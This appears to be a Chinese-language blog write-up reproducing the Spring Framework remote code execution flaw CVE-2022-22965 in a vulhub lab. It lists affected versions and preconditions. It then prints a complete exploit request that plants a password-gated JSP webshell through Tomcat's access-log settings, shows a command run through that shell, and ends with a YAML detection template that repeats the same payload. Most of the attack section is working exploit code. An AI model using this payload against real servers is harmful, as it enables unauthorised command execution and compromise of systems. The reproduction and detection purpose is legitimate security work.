Spring Framework远程代码执行漏洞复

1年前发布

120

0x01 漏洞描述

Spring framework 是Spring 里面的一个基础开源框架，其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日，VMware Tanzu发布漏洞报告，Spring Framework存在远程代码执行漏洞，在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击

0x02 漏洞影响范围

Spring Framework < 5.3.18
Spring Framework < 5.2.20

0x03 漏洞利用条件

JDK9或以上版本系列
Spring框架或衍生的SpringBoot等框架，版本小于v5.3.18或v5.2.20
Spring JavaBean表单参数绑定需要满足一定条件
部署在Tomcat容器中，且日志记录功能开启（默认状态）

0x04漏洞复现

通过vulhub拉取
docker-compose up -d

访问演示页面

http://your-ip:8080/?name=Bob&age=25

访问对应的controller，这里设置了日志的文件名、文件路径、以及后缀名，将后缀名设置为.jsp，然后不断地写入执行命令的jsp代码，从而实现webshell的写入，还需要补充cookie。

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

然后，访问刚写入的JSP Webshell，执行任意命令

http://ip:8080/tomcatwar.jsp?pwd=j&cmd=id

0x05检测poc规则编写

params: []
name: Spring 远程命令执行漏洞(CVE-2022-22965)
set: {}
rules:
- method: GET
  path: '/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= '
  headers:
    DNT: "1"
    c1: Runtime
    c2: <%
    suffix: '%>//'
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200
- method: GET
  path: /tomcatwar.jsp?pwd=j&cmd=id
  headers: {}
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(b"uid")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""